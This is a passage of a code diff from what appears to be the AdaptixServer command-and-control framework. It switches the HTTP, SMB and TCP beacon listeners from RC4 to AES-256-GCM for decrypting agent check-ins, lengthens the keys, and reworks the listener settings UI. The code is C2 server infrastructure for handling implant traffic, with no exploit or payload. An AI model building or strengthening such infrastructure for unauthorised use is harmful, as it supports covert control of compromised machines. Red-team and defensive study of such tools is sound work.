form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layoutMain = form.create_gridlayout(); layoutMain.addWidget(labelHost, 0, 0, 1, 1); @@ -125,23 +125,15 @@ function ListenerUI(mode_create) let panelPayload = form.create_panel(); panelPayload.setLayout(layoutPayload); - /// MAIN + // + let tabs = form.create_tabs(); + tabs.addTab(panelMain, "Main settings"); + tabs.addTab(panelHeaders, "HTTP Headers"); + tabs.addTab(panelError, "Page Error"); + tabs.addTab(panelPayload, "Page Payload"); - let controller = form.create_segcontrol(); - controller.addItems(["Main settings", "HTTP Headers", "Page Error", "Page Payload"]); - - let stack = form.create_stack(); - stack.addPage(panelMain); - stack.addPage(panelHeaders); - stack.addPage(panelError); - stack.addPage(panelPayload); - stack.setCurrentIndex(0); - - form.connect(controller, "currentIndexChanged", function() { stack.setCurrentIndex( controller.currentIndex() ); }); - - let layout = form.create_vlayout(); - layout.addWidget(controller); - layout.addWidget(stack); + let layout = form.create_hlayout(); + layout.addWidget(tabs); let container = form.create_container(); container.put("host_bind", comboHostBind); diff --git a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go index 3a5e565dc..b49f2434d 100644 --- a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go @@ -3,8 +3,9 @@ package main import ( "bytes" "context" + "crypto/aes" + "crypto/cipher" "crypto/rand" - "crypto/rc4" "crypto/rsa" "crypto/tls" "crypto/x509" @@ -145,9 +146,9 @@ func validConfig(config string) error { return errors.New("user_agent is required") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } if !strings.Contains(conf.WebPageOutput, "<<>>") { @@ -417,12 +418,23 @@ func (t *TransportHTTP) parseBeatAndData(ctx *gin.Context) (string, string, []by if err != nil { return "", "", nil, nil, errors.New("failed decrypt beat") } - rc4crypt, errcrypt := rc4.NewCipher(encKey) - if errcrypt != nil { - return "", "", nil, nil, errors.New("rc4 decrypt error") + block, err := aes.NewCipher(encKey) + if err != nil { + return "", "", nil, nil, errors.New("aes cipher error") + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, nil, errors.New("gcm error") + } + nonceSize := gcm.NonceSize() + if len(agentInfoCrypt) < nonceSize+gcm.Overhead() { + return "", "", nil, nil, errors.New("ciphertext too short") + } + nonce, ciphertext := agentInfoCrypt[:nonceSize], agentInfoCrypt[nonceSize:] + agentInfo, err = gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", "", nil, nil, errors.New("gcm decrypt error") } - agentInfo = make([]byte, len(agentInfoCrypt)) - rc4crypt.XORKeyStream(agentInfo, agentInfoCrypt) agentType = uint(binary.BigEndian.Uint32(agentInfo[:4])) agentInfo = agentInfo[4:] @@ -510,16 +522,6 @@ func (t *TransportHTTP) generateSelfSignedCert(certFile, keyFile string) error { } func (t *TransportHTTP) pageError(ctx *gin.Context) { - hasContentType := false - for header, value := range t.Config.ResponseHeaders { - ctx.Writer.Header().Set(header, value) - if strings.EqualFold(header, "Content-Type") { - hasContentType = true - } - } - if !hasContentType { - ctx.Writer.Header().Set("Content-Type", "text/html; charset=utf-8") - } ctx.Writer.WriteHeader(http.StatusNotFound) html := []byte(t.Config.WebPageError) _, _ = ctx.Writer.Write(html) diff --git a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs index adb5686b7..178cb859d 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs @@ -11,14 +11,14 @@ function ListenerUI(mode_create) } let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go index 922a423b9..ad36b64fd 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -164,13 +165,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go index 5087af2b2..797407bf2 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go @@ -34,9 +34,9 @@ func validConfig(config string) error { return errors.New("Pipename invalid") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil diff --git a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs index 83c28ae4f..9b58ee067 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs @@ -15,14 +15,14 @@ function ListenerUI(mode_create) textlinePrepend.setEnabled(mode_create) let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go index 43b2f5b48..f664af1dd 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -167,13 +168,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go index 3c964af82..1d908c6af 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go @@ -35,9 +35,9 @@ func validConfig(config string) error { return errors.New("Port must be in the range 1-65535") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil